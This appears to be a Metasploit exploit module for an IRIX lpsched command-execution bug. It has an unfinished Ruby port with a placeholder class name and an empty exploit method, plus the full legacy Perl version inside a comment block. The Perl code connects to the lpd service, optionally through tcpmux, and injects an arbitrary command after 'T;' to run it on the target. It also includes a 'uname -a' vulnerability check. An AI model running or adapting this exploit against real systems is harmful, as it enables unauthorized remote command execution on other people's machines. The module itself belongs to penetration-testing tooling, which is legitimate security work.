203 lines
4.3 KiB
Ruby
203 lines
4.3 KiB
Ruby
|
require 'msf/core'
|
||
|
|
||
|
module Msf
|
||
|
|
||
|
class Exploits::Windows::XXX_CHANGEME_XXX < Msf::Exploit::Remote
|
||
|
|
||
|
include Exploit::Remote::Tcp
|
||
|
|
||
|
def initialize(info = {})
|
||
|
super(update_info(info,
|
||
|
'Name' => 'IRIX lpsched Command Execution',
|
||
|
'Description' => %q{
|
||
|
This is YASGIPB (yet another SGI popen bug). This exploit
|
||
|
requires the ability to bind to a privileged TCP port (less
|
||
|
than 1024). On most Unix systems, this is only possible when
|
||
|
you are running as the root user.
|
||
|
|
||
|
},
|
||
|
'Author' => [ 'Optyx <optyx@uberhax0r.net>', 'LSD <http://www.lsd-pl.net>' ],
|
||
|
'Version' => '$Revision$',
|
||
|
'References' =>
|
||
|
[
|
||
|
[ 'OSVDB', '8573'],
|
||
|
[ 'URL', 'http://www.lsd-pl.net/code/IRIX/irx_lpsched.c'],
|
||
|
[ 'MIL', '35'],
|
||
|
|
||
|
],
|
||
|
'Privileged' => true,
|
||
|
'Payload' =>
|
||
|
{
|
||
|
'Space' => 4096,
|
||
|
'BadChars' => "",
|
||
|
|
||
|
},
|
||
|
'Targets' =>
|
||
|
[
|
||
|
[
|
||
|
'Automatic Targetting',
|
||
|
{
|
||
|
'Platform' => 'irix',
|
||
|
'Ret' => 0x0,
|
||
|
},
|
||
|
],
|
||
|
],
|
||
|
'DisclosureDate' => 'Sep 1 2001',
|
||
|
'DefaultTarget' => 0))
|
||
|
end
|
||
|
|
||
|
def exploit
|
||
|
connect
|
||
|
|
||
|
handler
|
||
|
disconnect
|
||
|
end
|
||
|
|
||
|
=begin
|
||
|
|
||
|
##
|
||
|
# This file is part of the Metasploit Framework and may be redistributed
|
||
|
# according to the licenses defined in the Authors field below. In the
|
||
|
# case of an unknown or missing license, this file defaults to the same
|
||
|
# license as the core Framework (dual GPLv2 and Artistic). The latest
|
||
|
# version of the Framework can always be obtained from metasploit.com.
|
||
|
##
|
||
|
|
||
|
package Msf::Exploit::irix_lpsched_exec;
|
||
|
use base "Msf::Exploit";
|
||
|
use strict;
|
||
|
use Pex::Text;
|
||
|
|
||
|
my $advanced = {};
|
||
|
|
||
|
my $info = {
|
||
|
'Name' => 'IRIX lpsched Command Execution',
|
||
|
'Version' => '$Revision$',
|
||
|
'Authors' =>
|
||
|
[
|
||
|
'Optyx <optyx [at] uberhax0r.net>',
|
||
|
'LSD <http://www.lsd-pl.net>'
|
||
|
],
|
||
|
|
||
|
'Arch' => [],
|
||
|
'OS' => ['irix'],
|
||
|
'Priv' => 1,
|
||
|
|
||
|
'Payload' =>
|
||
|
{
|
||
|
'Space' => 4096,
|
||
|
'Keys' => ['cmd'],
|
||
|
},
|
||
|
|
||
|
'UserOpts' =>
|
||
|
{
|
||
|
'RHOST' => [1, 'ADDR', 'The target address'],
|
||
|
'RPORT' => [1, 'PORT', 'The lpsched target port', 515],
|
||
|
'TCPMUX' => [0, 'BOOL', 'Use tcpmux to indirectly exploit', 0],
|
||
|
},
|
||
|
|
||
|
'Description' => Pex::Text::Freeform(qq{
|
||
|
This is YASGIPB (yet another SGI popen bug). This exploit requires
|
||
|
the ability to bind to a privileged TCP port (less than 1024). On
|
||
|
most Unix systems, this is only possible when you are running as
|
||
|
the root user.
|
||
|
}),
|
||
|
|
||
|
'Refs' =>
|
||
|
[
|
||
|
['OSVDB', '8573'],
|
||
|
['URL', 'http://www.lsd-pl.net/code/IRIX/irx_lpsched.c'],
|
||
|
['MIL', '35'],
|
||
|
],
|
||
|
|
||
|
'DefaultTarget' => 0,
|
||
|
'Targets' => [["No Target Needed"]],
|
||
|
'Keys' => ['lpd'],
|
||
|
|
||
|
'DisclosureDate' => 'Sep 1 2001',
|
||
|
};
|
||
|
|
||
|
sub new {
|
||
|
my $class = shift;
|
||
|
my $self =
|
||
|
$class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
|
||
|
return ($self);
|
||
|
}
|
||
|
|
||
|
sub Check {
|
||
|
my $self = shift;
|
||
|
$self->LPDSchedQuery(1);
|
||
|
}
|
||
|
|
||
|
sub Exploit {
|
||
|
my $self = shift;
|
||
|
$self->LPDSchedQuery;
|
||
|
}
|
||
|
|
||
|
sub LPDSchedQuery {
|
||
|
my $self = shift;
|
||
|
my $check = shift;
|
||
|
my $target_host = $self->GetVar('RHOST');
|
||
|
my $target_port = $self->GetVar('RPORT');
|
||
|
my $target_tcpmux = $self->GetVar('TCPMUX');
|
||
|
my $encodedPayload = $self->GetVar('EncodedPayload');
|
||
|
my $command = $check ? "uname -a;" : $encodedPayload->RawPayload;
|
||
|
my $s;
|
||
|
|
||
|
# The TCPMUX service is always on port 1
|
||
|
if ($target_tcpmux) {
|
||
|
$target_port = 1;
|
||
|
}
|
||
|
|
||
|
$s = Msf::Socket::Tcp->new
|
||
|
(
|
||
|
'PeerAddr' => $target_host,
|
||
|
'PeerPort' => $target_port,
|
||
|
'LocalPort' => $self->GetVar('CPORT'),
|
||
|
);
|
||
|
|
||
|
if ($s->IsError) {
|
||
|
$self->PrintLine("[*] Error creating socket: ".$s->GetError);
|
||
|
return $check ? $self->CheckCode('Connect') : undef;
|
||
|
}
|
||
|
|
||
|
if ($target_tcpmux) {
|
||
|
$s->Send("sgi_printer\n");
|
||
|
$s->Recv(-1, 30);
|
||
|
}
|
||
|
|
||
|
$self->PrintLine("[*] Executing command '$command'");
|
||
|
$s->Send("T;".$command.";\n");
|
||
|
|
||
|
if ($check) {
|
||
|
|
||
|
my $res = $s->Recv(-1, 5);
|
||
|
$s->Close;
|
||
|
|
||
|
if ($res =~ /IRIX/) {
|
||
|
$self->PrintLine("[*] Vulnerable system detected");
|
||
|
return $self->CheckCode('Confirmed');
|
||
|
}
|
||
|
else {
|
||
|
$self->PrintLine("[*] This system does not appear to be vulnerable");
|
||
|
return $self->CheckCode('Safe');
|
||
|
}
|
||
|
}
|
||
|
|
||
|
# XXX what response does a patched system give?
|
||
|
|
||
|
# XXX can we close the socket without killing any running command?
|
||
|
# $s->Close;
|
||
|
|
||
|
# XXX should we do one more recv and print the response?
|
||
|
return;
|
||
|
}
|
||
|
|
||
|
1;
|
||
|
|
||
|
=end
|
||
|
|
||
|
|
||
|
end
|
||
|
end
|